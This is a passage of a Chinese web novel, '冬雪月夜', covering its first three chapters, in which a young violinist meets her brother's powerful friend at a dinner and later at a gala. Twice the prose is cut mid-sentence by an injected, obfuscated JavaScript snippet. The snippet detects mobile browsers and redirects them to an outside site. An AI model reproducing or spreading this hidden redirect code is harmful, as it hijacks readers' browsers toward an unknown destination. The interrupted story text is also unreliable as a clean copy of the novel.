《冬雪月夜》 1. 暴雪夜 【冬雪月夜/遇淮】 【晋江文学城2025.04.30】 “小瑾,待会见到你哥,记得劝他少喝点酒。这么大个人了,商务应酬还要妹妹去接,真是让人不省心。” 舒怀瑾刚坐上出租车,母上大人长达三十秒的语音自动播放。 她家的公司如今明面还是爸妈和她哥在管理。 不过爸妈年纪大了,精力跟不上,对外的应酬基本落在了她哥舒宴清身上。舒宴清在生意场上能屈能伸,拉得下面子,的确让公司红火不少。短板也明显,遇到非得下人面子的难缠甲方,他就算将自己喝到胃出血,也不肯得罪别人。 家里人就此说过他很多次,可惜舒宴清是铁了心要当拼命三郎,谁也劝不动。 至于舒怀瑾嘛,她哥的顶头老大,也是个墙头草,是帮她哥在父母那边糊弄,还是和父母一起劝说她哥,纯看她大小姐的心情。 今日运势极佳,她决定去舒宴清应酬的地方杀他个措手不及,顺便提前感受一下老狐狸在饭局上瞬息万变的尔虞我诈。 “小姑娘,前面拐个弯就到,微信和支付宝码在后排,麻烦您扫下。” 经出租车师傅善意提醒,舒怀瑾打字安抚完母上大人,靠边下了车。 京北许多年没有下过这样大的暴雪,舒怀瑾有些不适应,围巾、护耳裹得严严实实,她本就怕冷,一时没缓过温差,冻得直哆嗦。心底默默在她哥身上记下一笔。 到了舒宴清应酬的地方,只见一派金碧辉煌,在那站岗的保安和礼仪腿长到逆天,连灯光都透着纸醉金迷的味道。 舒怀瑾低头扫了眼自己格格不入的卫衣牛仔裤的穿搭,感慨诸事不顺。 于是给舒宴清发消息:[(地址定位)大小姐来抓人了] 随手拍了张照片发过去:[足浴……这是正经地方吗?] 舒怀瑾屏幕切换得快,将腹诽发在了闺蜜群里。她这群朋友都是一起长大的发小,关系亲密,私底下八卦得厉害,当然,见了面还是得老老实实地扮乖巧,跟着她唤一声宴清哥。 群里一下子热闹起来。 [高岭之花滤镜碎一地!救命啊啊啊@怀瑾跪求撤回,我就当没看到,你哥还是我crush] [有正经足浴机构的,你们别带有色眼镜看人,小瑾,你待会杀进去的时候记得全程直播] [……] [你一个人去不安全吧?] 得。她们的思想也没比她干净多少。 舒怀瑾不忍直视,索性摁灭了手机。 冬日的夜幕降得极块,雪势逐渐滂沱,苍茫暴雪中,一辆通体华贵漆黑的宾利在大厦附近停下。 得亏她视力好,上完高中也没一点影响,看清了京A后头连着的9999。 舒家条件还算不错,在京北有一栋别墅,哪怕生意最艰难的那年,都没苦过舒怀瑾的吃穿用度,她高考毕业那个暑假,跟着朋友环球旅游了一圈,从迪拜到瑞士,感兴趣的国家去了个遍。饶是如此,舒家距离京北顶层豪门圈子仍旧远之又远。 她忍不住定睛多看了几秒,车身停稳后,率先映入眼帘的,是一双笔直修长的长腿。阔领大衣下摆随着马丁靴落定在暴雪中摇曳。 男人身形挺拔,即便只是一个轮廓模糊的背影,也难掩浑身温雅贵重的气质。 舒怀瑾很少见周身气场这样特别的人,出于好奇,视线频频往他所在的方向探。 他低眸接了个电话,露出来的指骨劲瘦分明,嗓音是偏大提琴的隽沉。 “我到楼下了。” “你那乌烟瘴气的,谁愿意上来?” 总共就这么两句,舒怀瑾还想听,他已然挂断。看来是个寡言少语的。 贺问洲的确不愿意过去,进了包厢免不了被人一通奉承。不过是对他有所忌惮和仰仗的人罢了,自是懒得分神处理。 他支着腿在大厦前等人,肩侧落了层浮白,深邃眉眼透着疏离的冷意,见不远处那小姑娘盯着他看了半晌,正欲点烟拢火的手微顿。 平心而论,小姑娘身高并不低,打眼扫过去都得有一米六五,但耐不住那一双麋鹿般清澈灵动的眸子,给人不谙世事的初印象。 她眼巴巴地盯着自己,贺问洲反倒无端生出几分罪恶感。即便两人素不相识,他也远过了要人督导的年纪,身居高位,鲜少有人用直白但僭越的目光直视他。 贺问洲视线抬扫过去,只一眼便足以让人心头犯怵,但他声色难得掐得温柔,“抽烟致癌,小朋友,别学坏了。” 自他转过身时,舒怀瑾黏人的目光就没离开过他。 这人不仅侧颜生得好看,举手投足间亦格外优雅,像漫步在伦敦街头时所感受的庄重肃穆。 不过他叫她小朋友,舒怀瑾就不乐意了。 她今年刚上大一,生了副显小的脸蛋,加上还没学会化妆,出门总是素面朝天,因此不少人总将她当成高中生。 虽说高中和大学拢共就差了那么一年的时间,发生不了翻天覆地的变化,但谁听到这句话能高兴,就跟打游戏被喷小学生一样,带着如出一辙的微妙不爽感。 舒怀瑾正欲启唇,另一辆别克商务车如约而至,保镖开道,恭敬地给男人举起一柄黑伞,遮住漫天纷飞的雪花。他却只是淡淡抬手,拂去肩侧落雪,再无多余的动作。 眼下他身边围了这么多人,舒怀瑾自是不敢再靠近,秉着幸福者退让原则,多一事不如少一事,竭力往花坛边缘挪动降低存在感。 几分钟后,舒宴清从快要闪瞎眼的大厅里一路焦急地奔向她,怀里还揣着暖手宝、热椰奶,推着她往车里走,一面唠叨道:“怎么来了也不知道打电话,在外面站着不冷?” 舒怀瑾的心思还在刚才那男人身上,回过神时,自然应得敷衍。 “我又不是不懂事,你正在谈生意,我突然给你打电话叫你下来接人,多冒昧啊。” “什么冒昧不冒昧的,才去大学报道几天,说话生疏得跟我不是你亲哥一样。” 舒怀瑾:“哈哈。”笑一下算了。 舒宴清嘱咐司机将空调温度开高点,在暖手宝外套上毛绒护套,舒怀瑾才肯接过去抱着。 他这个妹妹小她十岁,从蹒跚学步到后面上幼儿园,都有着不少他的参与,毫不夸张地说,养个年龄差距大的妹妹,和养个女儿差不多。爸妈不舍得骂她,舒宴清也一样,向来是温声细语地哄,集万千宠爱于一人,她还能长成这副懂礼的模样,舒宴清已经非常满意了。 至于大小姐脾气,在他眼里完全不是事。女孩子有点脾气怎么了?难哄才不容易被那些一无所有的凤凰男骗。 舒宴清见她不喝椰奶,从恒温箱里拿了瓶矿泉水给她,“懒得打电话,就不知道直接上来找我?再不济,你给前台说一声,去大厅接待区等我也比在外面傻站着强。” 舒怀瑾摇头,“那不行,要是看见不该看的,长针眼就麻烦了。” 舒宴清被彻底噎住,不知道她哪知道的乱七八糟的东西,现在网络发达,什么帖子都有。 他看了她两眼,好笑地解释:“这地方分楼层的,六到九楼是足浴,二楼是茶馆,十楼和十一楼才是用餐谈事的地方,小小年纪成天想什么?” 舒怀瑾‘噢’了一声,“你生意谈完了?” “还有一场。”舒宴清揉揉眉心,他常年连轴转,忙起来的时候一天能跑好几处地,飞机高铁轮换着来,习惯了快节奏,给在另一个场子的助理打了个电话吩咐。 等他工作完,舒怀瑾拆了包薯片,慰问自己被冻伤的心灵。 舒宴清不明白那零食有什么好吃的,怎么读了大学还喜欢。 “待会我先送你。回学校还是家?” 舒怀瑾:“你应酬不带我?” “有重要人物,带你不方便。” “不带我肯定有猫腻。”舒怀瑾才不信他这副说辞,“别是在外面拈花惹草。” 舒宴清皱眉:“你哥我单身,拈花惹草至少得有家室才能这么形容吧?算了算了,跟你扯不清。” “好吧。”舒怀瑾不在意这些细节,继续道:“还有,妈妈说你经常彻夜不着家,谁知道是不是和狐朋狗友鬼混去了?” 舒宴清见了家里介绍的几个相亲对象,不过没多久就吹了,大多是嫌他给不了情绪价值。舒宴清自然也没那个时间,后来便长期保持单身,长辈当然看不过去,差使眼前这个小间谍来刺探军情。 他挺无奈地笑笑,“刚才那局你说是狐朋狗友我认,待会这场要是你还这么说,多少有点忘恩负义。” “啧,谁这么拽?本事还挺大。”舒怀瑾问。 舒宴清叹口气,没回答她的话。 能得舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626953|172416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴清如此尊敬的,舒怀瑾当然知道是谁。 贺问洲,他的至交好友,曾在华尔街搅弄风云的传奇人物,也是数年前救舒氏企业于为难的贵人。百科关于他的资料极少,但履历格外漂亮,舒怀瑾就算是做爽文女主的梦都不敢挂这么多标签。 回国后,贺问洲开始专注于构建商业帝国,如今所涉行业众多,金融、地产、科技、生物医药等等,每年公布的营收数据均超过六千亿。 是真正惹不起的大佬。 舒怀瑾没见过贺问洲,不过按照年龄算,他大她十一岁,现在应该二十九,要是月份晚一点就三十了,应该是成熟稳重的中年男人。 一想到他哥快二十八了,还会和她抢可乐喝,舒怀瑾关于这个年纪男人的滤镜就碎了一地。 “我不管,必须带上我。”舒怀瑾故意皱鼻子,让她哥心软,“你妹在学校食堂都饿瘦了。你就当是行善积德,让我蹭顿饭。” 她招数海了去了,舒宴清自然是说不过这三寸不烂之舌,最后只好妥协。“好好好,待会你少说话,见了人喊一声,只顾着自己吃饭就行。” 要不说有大佬开路的地方,品味高了不止一个等级。 餐厅环境典雅,穿梭其中的侍者全都西装革履,脚步轻得似猫,食物的甜香同空气中流淌的小提琴曲《月光边境》呼应,舒怀瑾忍不住感慨,这趟是来对了。 包厢所在之处,坐拥最佳观景位,足以俯瞰整个城市夜景。 里侧的人并不多,总共就三位,舒怀瑾还没来得及探头,就被舒宴清摁在身后。听他滴水不漏地寒暄,唤着另外两人的职务,什么总什么局的,她没听清。 领着亲妹妹参加这种饭局的确少见,不过几人都能理解,同舒宴清礼节性地寒暄两句,便继续先前的话题。 舒怀瑾相当机灵,一一唤过人过后,附以笑容,礼节挑不出错处。 直到目光同主座上的人相撞。 那双如寒冰般的眸子见到她,没有丝毫的波澜起伏。先前被薄雪沾襟的外套显然已经脱下,搭在旁边的椅架上,露出左手间的一枚腕表,单看表针都足以彰显不凡,更遑论高奢品牌一贯的调性。 没见过的款式自是稀有到千金难求。 是先前被保镖簇拥着的那位。 隔得近了,舒怀瑾才看清他的小拇指上戴了枚尾戒。他漫不经心地掐着烟,星点跳跃,在通风良好的房间内,好似早已越过名利场的规则之外,成了真正随心所欲的自由人。 她看得专注,以至于忘了喊人。鉴于外人在场,舒宴清抬身介绍,“小瑾,这是贺先生。” 原来他就是贺问洲。 见了他本人,贺问洲三个字都变得悦耳不少。 舒怀瑾眼前深思飘忽地浮现一行字: 君生我未生,我生君已老。 淦。她怎么不再年长五岁呢? 贺问洲表情很淡,睇向她的目光让她心跳莫名加快。平心而论,有优越的骨相和眉眼加持,哪怕只是寻常一眼,也容易让人生出被他放在掌心把玩的错觉。 他陷入情网是什么样的? 贺问洲的身份摆在那,舒怀瑾刚才唤了另外两人,旁边都是纵横多年的老狐狸,自是坐立难安,都等着她尊称他一声贺先生。 被几双眼睛盯着,舒怀瑾依旧坦然自如,收回思绪,沉思几秒后,出于私心,她软着腔调说,“贺先生看起来好年轻,让人一见如故,无比亲切。” 可不是嘛,半小时前才见过。 贺问洲很早就听宴清说过家里有个集万千宠爱的宝贝妹妹。为了怀这个女儿,舒夫人做了好几次试管,糟了不少罪。一家人从小捧在手心怕摔了,含在嘴里怕化了,舒宴清连这样的场合都带她来,估计也是个妹控,说不出拒绝的话。 他正欲应声,舒怀瑾眼瞳一转,笑着问:“我可以叫您问洲哥哥吗?” 众人屏息凝神,忍不住为舒宴清这个不懂事的妹妹捏了一把汗。 她的话不偏不倚,正巧对应在大厦底下那次,保镖的眼神警告让她将回应的话咽下,如今他的话,也因她掐准了时机的问询腰斩。 报复性还挺心。古灵精怪的。 贺问洲倒是一派平静,敛了眸光,眉梢微蹙,沉声纠正: “我大你将近一轮。当你哥哥不合适。” “叫贺叔叔吧。” 2. 暴雪夜 贺叔叔。 舒怀瑾在心底默念完这个称呼后,忍不住腹诽,他还真会给自己升辈分。 在学校里没接触过这种类型的年上熟男,舒怀瑾的目光一旦在他身上落定,便被吸引得移不开视线。 她抿唇挤出酒窝,笑得一脸乖巧温软,“要是称呼您贺叔叔,我哥不就比您小一辈了?我怕他回家揍死我。” 舒怀瑾眼睛滴溜一转,舒宴清就知道她准没安好心。 果不其然,一出口就是恶魔低语。 舒宴清揉了下眉心,“说什么呢?你是我们家的宝贝金疙瘩,别说揍你,凶你几句都受不了,倒打一耙还挺厉害。” 舒怀瑾用玩笑化解:“担心自己的安危不行嘛。” 在舒怀瑾来之前,气氛多少还有些放不开,经过玩笑话这么一调侃,众人面上皆挂着笑。 “舒小姐真是活泼有趣。” “说起来,舒总的妹妹年纪是不是还小?” 贺问洲没有参与话题,似乎并不打算怪罪。他平日为人低调,不是惯会以权势压人的个性,但也不是谁都能冒犯的。众人猜测,多半是看在舒宴清的面子上。 “她吧,今年刚上大一,不过读书早,前两个月才刚成年。” 舒宴清给她将座椅拉开,数落的语气难掩纵溺,“从小就是家里的山大王,谁也管不住。” “哥。”舒怀瑾及时打断她,坐姿端正,脊背挺得笔直,纤细的天鹅颈一看就是从小练舞的,用行动来反驳比言语有说服力得多。 她轻垂眼睫,显得有些不好意思,“那都多久以前的事了?我现在早就不这样了。” 舒宴清从善如流:“好好好,不说了。” 饭局上,大家聊的内容比较枯燥隐晦,跟打哑谜似的,舒怀瑾听来听去,就只懂了什么项目、变局以及政策之类的。 她识趣地专注着干饭,佯装对他们的话题并不感兴趣,仅偶尔用余光注视着贺问洲。 他真的是二十九的男人吗? 皮肤很好,眼尾没有一丝皱纹,身形也挺拔修长,除了那双充满阅历感的乌眸,再看不出岁月留下的任何痕迹。 或许是她好奇的目光太过恳切,贺问洲想不注意都难。他唤来侍者,情绪始终温淡,看不出喜怒,“再上一份糖醋小排。” 坐到贺问洲这样的位置,几乎从不向外界透露喜好,见状,其中一位中年人笑着道:“想不到贺总口味偏甜。” 贺问洲没说话,舒怀瑾看向自己快要堆成小山的骨碟,让服务员帮忙换了张干净的,迅速毁尸灭迹。 在场亦有人善于察言观色的人精,不动声色地嘱咐了餐厅经理一句。 片刻的功夫,桌上的菜品全部撤下,换了新的呈上来,味道自是以甜口为主。 难怪舒宴清说应酬如名利场,按照他们这铺张浪费法,蚂蚁森林积的那些碳哪里够用。 众人对贺问洲的迎合太过明显,舒怀瑾在心底吐槽,却没有再夹糖醋小排。 那盘糖醋小排也再没有一人动筷。 应酬结束,贺问洲先行离场,舒宴清则将饭局上的其他人送走后,才低眸看她,“应酬不好玩吧?” “还可以啊。”舒怀瑾说。毕竟,秀色可餐。当然这种话她可不敢当着她亲哥的面说。 家里人倒是不管她谈恋爱的事,一切都是秉承顺其自然的态度。 不过,她要是说自己对贺问洲有好感,火花还没燃起来就会被扼杀在摇篮中。 舒母给她在校外买了一套环境还不错的高级公寓,舒宴清吩咐司机送她回去,又去商超转了一圈,把她住处缺少的东西,比如抽纸、零食一类的东西补全。 [放心吧母上大人,我哥今天没喝多少酒] 给舒母发完消息,舒怀瑾拍了张舒宴清的背影,配图:[看,他还有力气给我套垃圾袋] 舒母回复:[那就好,小瑾,你的零花钱还够用吗?待会我让宴清顺便把明年的物业费交了,你也记得提醒他] [够用的,爱你妈妈(亲亲.jpg)] 舒怀瑾的公寓有钟点工收拾,她平时的习惯也挺不错的,舒宴清四处扫视过后,没发现还有什么别的问题。 他转身进了她的小提琴房,墙面挂的都是舒怀瑾珍藏多年的宝贝,她对物品的占有欲比较强,不怎么让人碰,舒宴清前脚刚踏进去,舒怀瑾就倚靠在门边,眼里一派灵动狡黠。 舒宴清站定,没有再往里走。 “哥,你能把贺问洲的微信推给我吗?” 听到她的话,舒宴清看了她两眼,“你要他的微信干嘛?” “我就是有点问题想问他。” 舒宴清无情拒绝:“有什么问题你可以来问我,我解决不了的,再帮你想办法。” “你又不是百宝书,问你不如问deepseek。” “问我不行,问贺问洲就行了?”舒宴清沉吸一口气,“什么事非得麻烦人家?” 就知道他不会给。 舒怀瑾意兴阑珊地扒拉着墙上的逗猫棒,“没见过你这样的,防火防盗防亲妹。” “你那点小心思,往同龄男生身上用就算了,难道我还看不出来?贺问洲比你大十一岁,什么样的女孩子没见过,你最好不要对他产生特别的想法。” 闻言,舒怀瑾贼喊捉贼,“我能有什么想法,加个微信都不行?” “不行。”舒宴清好脾气地重复。 “算了算了,懒得跟你聊这个。” 贺问洲这样的人物,没有舒宴清帮助,舒怀瑾肯定是拿不到联系方式的。 连续上了一周的早八,好不容易又熬过一个星期,舒怀瑾应约赴局,去了发小们常约的一家剧本杀场馆。 这地方是她朋友开的,在大学城附近,生日还算不错。 她这群发小家境都还算不错,上了大学以后,大家开始各自拓展,大部分都是父母带着逐渐适应家里公司的节奏,不想继承家业的,则开始投资什么酒吧、二次元餐厅以及各种谷子店,搞的东西五花八门的。 见舒怀瑾拖腮发呆,连八卦都不怎么参与,众人用手肘轻怼了她一下。 “小瑾上次去抓人,该不会看到什么不该看的,把孩子给吓傻了吧?” “我才不相信舒宴清会去那种不干净的地方,你们俩男生别带有色眼镜。” “别不信好吧,商K爆出过多少炸裂大瓜,只是因为藏着掖着,不容易被抓罢了。” “小瑾她哥都二十八了——” “没,他就是在足浴楼上的餐厅应酬。至于那家足浴正不正经,要交给警察评判。” 一直心不在焉的舒怀瑾抬眼,“再说二十八怎么了,三十岁的人生才刚启航,一切皆有可能。贩卖年龄焦虑的给我通通滚滚滚。” 先前说话的男生是她们这群人里年纪最小的,程家的公子哥。其实也没小多少,几个月而已,但由于卡着年龄的关系,程煜直到现在都没成年。 见舒怀瑾专挑他的话来反驳,程煜啧了声,“二十八都是老男人了。这句话最开始不还是你说的么?怎么,眨眼的功夫,喜好又从少年感白月光秒变成熟稳重爹系男了?” 几个人家里生意场上时有往来,加上又是自初中起便玩在一块的,光是真香定律都能抓住一大把不重样的,拿出来怼对方不过是轻飘飘洒洒水而已。 舒怀瑾听到这话没生气,只是用吸管试图插奶茶杯底的果肉,“我就不能具有同时欣赏奶狗和熟男的时期?请尊重审美多元化,谢谢。” 程煜眯起眼睛,额间碎发下的面容阴晴不定。 大家多少知晓点这两人间的磁场,瞟了眼少年感气质浓烈的程煜,将话题岔开,讨论起了最近舒怀瑾最近参加的活动。 舒怀瑾从小爱好广泛,但大多只是涉猎,东学西学,没一样精通的——除了小提琴。 她知道自己不是做生意的料,干脆放开了琢磨小提琴,高中时赚取的奖金就已经能够支持自己独立了。 现在是剧院的小提琴手之一,不过由于目前只当做爱好,走的是校外社团的路子和剧院签的合同,算是个收益稳定的兼职,偶尔有商业演出会通知她。 舒怀瑾也是靠着这个赚取大学的生活费。 她消费欲望不高,实在不够的时候,就从爸妈和她哥塞给她的小金库里挪利息。利息都够她肆意挥霍了,更别说每年还有股票和信托基金的分红。 “我这次不太想去。”舒怀瑾说,“最近有心动迹象,暂时没有心思专心练琴。” 朋友辣评:“看不出你还是个恋爱脑。” 紧接着又问,“进展怎么样了?” 舒怀瑾揉了下头发,“连联系方式都没有。” “我靠,不应该啊!你这张脸放学校里不是嘎嘎乱杀!” “捧杀还差不多。”舒怀瑾忽略宋阮的闺蜜滤镜,突然想起一件事,问自刚才起黑脸的程煜,“我记得程家和贺问洲好像有生意上的往来,你有他的微信吗?” 联系上下文,明白过来的程煜没好气道:“问你哥去。” 宋阮常年将舒宴清是她的crush挂在嘴边,对此接受程度相当高,“我爸前几天还说他最近要赏脸参加一个晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626954|172416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴,貌似演出团就是北城剧院。” 舒怀瑾一瞬间又看见了希望,当即向剧院的首席师姐打听。 [梁师姐:具体我不太清楚,不过确实有位姓贺的贵客。小瑾,你要一起吗?] [舒怀瑾:要要要,谢谢师姐!么么么!] 回复完消息,她抬起头,唇角笑意晃开。宋阮正跟着她爸接触公司业务,试图从群里翻找贺问洲,结果以失败告终,别说是贺问洲,连他所掌管的集团高层都没有。摆明了是高山雪,凡人触碰不得。 宋阮:“不对啊,我妈提过,程煜也要参加,到时候你直接带小瑾进去就好了。” 程煜阴阳怪气:“恋爱脑狗都不帮。” “……”舒怀瑾四两拨千斤地说,“我是不是恋爱脑还不好说,但你这狗是当定了,本人亲自官方认证。” 众人笑喷。 为了这场晚宴,舒怀瑾精心挑了好几件礼服,不过惨遭梁师姐通知,只能穿剧院统一的白色礼裙。善于刺探军情的舒怀瑾提前从她哥那套了不少信息,根据她从各个地方收集到的内容,拼凑起来已经相当完整。 1、贺问洲是宴会的压轴嘉宾,不一定会出席。 2、延续他一贯的要求,身边没有任何女伴。 高岭之花,从不逢场作戏,舒怀瑾也不用担心撞见一些尴尬的场面。 这种级别的宴会需要检查邀请函,将宾客划分了层级,只有极少数的能前往内厅。好在舒怀瑾所在的音乐团有特制的工作人员通行卡,穿梭其中,比舒家千金的身份还好用。 剧院团的表演总共有三场,前面的有合奏,也有独奏。 中间休息的间隙,舒怀瑾的目光四处梭巡,仍旧没有看到贺问洲的身影。 倒是和程煜的视线相撞。 程煜正要开口,觥筹交错的人群蓦然推开一条路,保镖开道,贺问洲紧随其后,气场强大到让人移不开眼。遥隔着人群见到他,那种距离感更强了。 “你还真是为了贺问洲来的?”程煜压住心头的那股酸劲。 舒怀瑾:“小孩子管这么宽干嘛?” 程煜比她小几个月,听到这句话,心气愈发不顺。“我劝你别对贺问洲有什么——” “不是吧。程煜,你怎么跟我哥一样唠叨。”舒怀瑾向对她招手的梁师姐比了个ok的手势,拍了拍程煜的肩,“我还有一场合奏,回聊啊。” 看着那抹蹁跹如蝴蝶般的背影,程煜掌心攥紧,少年带着浓烈攻击性的视线太过明显。 贺问洲的保镖里不乏从雇佣兵退役的人,在耳麦里交流后,恭敬对贺问洲道:“贺总,我去处理。” 贺问洲漫不经心地抬手,眸光依旧冷淡,“小朋友而已。” 他坐的是全场最好的位子,舒怀瑾上台时一眼看见了他。 好长的一双腿。哑光皮鞋。今天戴的腕表品味不错。 《月光奏鸣曲》最初由贝多芬创作,北城乐团在此基础上做出了一些改编,小提琴在第一乐章的后半段响起,低、高音均与钢琴的音区融合呼应,流淌出一地静谧月光。 舒怀瑾上次同他见面时没有化妆,裹得还跟个粽子似的,因此,她也不确定,贺问洲能不能认出她。 他修长劲瘦的指骨随着节奏,慢而缓地在椅边敲击。 舞台布置灯光半明半暗地勾出他五官里深邃暗浓的那部分韵味,谢幕之际,舒怀瑾握紧小提琴,跟梁师姐一样,不太想答应剧院管理者临时提出的鞠躬请求。她们穿的礼裙都是统一的一字肩齐胸款式,不太方便。 梁师姐是剧院小提琴首席,从小镇一路走到北城,没有任何背景,咬碎了牙,面上还是维持着笑意。 舒怀瑾小心地在背后扯了下她的衣摆,示意别。 向上谄媚权势,是成年人世界里的残酷规则。梁师姐压低声道:“待会我鞠躬就好了,小瑾,你跟欢欢躲在我后面。” 舒怀瑾没有经历过大风大浪,对抗衡一腔热血,但她也不是冲动不过脑的性格。 毫不犹豫对上贺问洲的目光,唤了一声,“贺叔叔。” 少女甜美的声线不大,离得近的人听清了,在舞台侧后方给剧院施压的人愣住。坐在贺问洲身侧的宴会主人也在观察贺问洲的反应。 毕竟,没有人敢在贺问洲面前乱攀亲戚。更何况,北城剧院也不是多大的地方,贺问洲要是真有这么个小辈的侄女,怎么会一点风声都没传出来。 贺问洲解围的语气波澜不惊,“几位小提琴老师不方便,谢幕就算了吧。合奏演出很惊艳,有时间的话,我会去北城剧院再听一次。” 3. 暴雪夜 贺问洲向来不爱多管闲事,一出口便是金口玉言,不仅没再为难她们,甚至还有破例邀请她们参加了晚宴。要放在以前,顶多就是准备工作餐,连停留的资格都没有。 沾了谁的光,再明显不过。 从舞台上退场后,舒怀瑾和师姐们去休息间换衣服。 舒怀瑾披上羽绒服,见古典舞团的几个女生围过来,似是有话想跟她说。舞蹈团和乐团不和,除了工作,基本没有交集。对面不说话,她也没反应,绕过去拿化妆包。 “怀瑾,贺先生真是你叔叔?” “之前只听说你家里是做生意的,想不到连贺先生这样的人都认识,好厉害。” …… 舒怀瑾还是第一次被舞团的人恭维,没有表现得太热情,回应的字句半真半假。 “就,我哥的朋友,但不怎么熟。” “算不上叔叔,我刚才故意喊着玩的。” “没有联系方式。” 听到最后一句重点,刚才带头的人脸色垮了几分,“你该不会是不想给吧?” 舒怀瑾平时话不是特别多,但也不算包子性格,闻言,抬眼淡淡扫回去。 “我说了,不怎么熟。退一万步讲,就算真的有,在不经过本人同意的情况下,将他的联系方式给出去,怎么看也不太合礼吧?更何况贺问洲的身份你们也清楚,我不敢随意得罪他。” 她停顿一下,调整了态度,“抱歉。” 梁莹卸完妆,察觉这边的情况,臂弯搭在舒怀瑾身上,对她们笑笑,颇有护短的架势:“行了啊。欺负我们团的小姑娘干嘛,人家还没毕业,别霍霍祖国的花朵。” 为首的人见梁莹来了,话语反倒尖锐不少,同她拉扯,“梁首席攀上大佬后,底气就是不一样。” 剧院女孩子多,各类首席的位置却只有一个,为了往上爬,勾心斗角的事也有发生。在梁莹之前,还有一位首席,只不过后来被纽约的剧院挖走了,一时找不到合适的人选,梁莹才升上去,成了剧院最年轻的小提琴首席。 对此众口不一,有人欣赏梁莹的才华和毅力,也有人嫉妒梁莹纯属捡漏,说话的魏然就是其中一个。 梁莹被魏然这么编排也不生气,“有时间在背后造谣,不如多花点心思在专业上。” “真把自己当首席了?还教育起我们来了。” 魏然依旧是笑着的,言语却刻薄至极。跟在她身后的另外几人没想到会闹成这样,有些尴尬。 梁莹懒得再继续争辩,拉着舒怀瑾往外走。 对付这种人,越是气定神闲,表现得毫不在意,她就越容易破防跳脚。 舒怀瑾跟上梁莹的步伐,在路过为首的人面前时,假装不经意地跟另一个师姐吐槽,“虽然年纪够了,但也不是谁都配当我阿姨好吧……” 从休息间里出来,身边的赵师姐差点沉不住气。 “有这么个团长当领导,跟经历职场霸凌有什么区别,要我说,那几个新来的,迟早被她的做派折磨疯。”赵师姐说,“我还是很好奇,你到底怎么忍住的?换成我,肯定把她骂得狗血淋头找不着北。” 梁莹:“跟她置气干嘛?在哪工作都会遇到烦心事,左耳进右耳出,当她说话是放屁就行了了。” “看不出来,怀瑾还挺会怼的,专挑人七寸。你们没看见,她都快气死了哈哈!” 舒怀瑾摸摸鼻子,“我说的都是实话。” 众人待会还要和院长一起用餐,舒怀瑾一般是不怎么参与这种局的,这会看见程煜如同看见救星,眼眸一亮。 程煜接收到她的信号,配合地朝舒怀瑾招手。 他之前来过几次剧院,情商高,长得也出挑,大家倒是挺喜欢舒怀瑾这位少年感极强的竹马。梁莹同他打完招呼,“程少,来接小瑾啊?” 程煜:“嗯,散场我正好送她回去。” 舒怀瑾见他挺上道,顺势演戏埋怨,“这么久没回我消息,还以为你要放我鸽子。” 程煜平声应:“谁敢放舒大小姐的鸽子?” 话语里莫名夹杂着一丝火药味。 舒怀瑾古怪地看了他一眼,没太在意,她只想拔腿开溜,赶紧去找贺问洲。 同几位师姐道完别,推着程煜这个完美的挡箭牌搭子往内厅走。 确认乐团的人走远后,舒怀瑾拍拍手,“刚才谢了,下次请你吃饭,随便点,别客气。” 见她转身欲离开,程煜不悦地皱眉,上前同她并肩而行,“四处张望,找谁呢?” “贺问洲啊。”舒怀瑾无比坦荡,目光在衣香鬓影的人群中穿梭。 听见贺问洲的名字,程煜胸口就像是堵了块石头,“他就是随口送你个人情,这种久居商场的老狐狸,最懂得如何拿捏女孩子的心了,你别他的外表给骗了。” 舒怀瑾步伐迈得很快,程煜追在她身后,语气显得有些急躁。 她不以为意,“还没开始追呢,你担心这些有的没的干什么。” 程煜:“你要追他?舒怀瑾,他大你十一岁,你该不会是在开玩笑吧?” “我舒怀瑾像是会随口说大话的人吗?”舒怀瑾终于锁定了一道清阔贵重的身影,贺问洲站姿挺拔,正低眸看腕表,眉峰很轻地压下半边,像是对旁边的谄媚意兴阑珊。 贺问洲不愧是贺问洲,他只是站在那里,都能衬得周遭黯淡无光。 舒怀瑾将小提琴包拢好,回应程煜的话也变得敷衍,“放心吧,我捅不出什么篓子,别告诉我哥就行。我先走了,回聊。” 语罢,也不管程煜还有什么话,急忙往贺问洲的方向靠近。 他身边的保镖隐匿在暗处,压迫感相较之前少了些。 舒怀瑾正想过去,却被魏然捷足先登。 先前在她们面前颐指气使的人,这会作出一副温婉柔弱状。很可惜,贺问洲向来是不懂得怜香惜玉的类型,连一个眼神都没分过去,便有人自身后上前挡住魏然的靠近,厉色警告了几句。 距离隔得不算远,舒怀瑾听得清清楚楚。 魏然在团里被捧惯了,对自己的姿色有十足的自信,那成想,被当众下了面子不说,连贺问洲身都没能近,顿时哭得梨花带雨。 那场面,哪个男人能顶住。舒怀瑾起了层鸡皮疙瘩,忍不住吃瓜看起了热闹。 听见她哭哭啼啼的声音,贺问洲脚步微滞,周身泛起一层寒意。 魏然见他停下,以为这招有效,眼尾挂着泪,怯生生地唤他:“贺先生。” 舒怀瑾正全神贯注地看着戏,主角之一却朝她扫来意味深长的视线。 她不避不闪,正同他四目相撞。 贺问洲回正视线,淡声道:“不干不净的人,尽快清理出去。” “好的,贺总。”助理往前半步,“这位小姐,请。” 魏然面色一变,尽管不甘心,还是被‘请’了出去。没了扰人心烦的杂音,周遭瞬间清净不少。 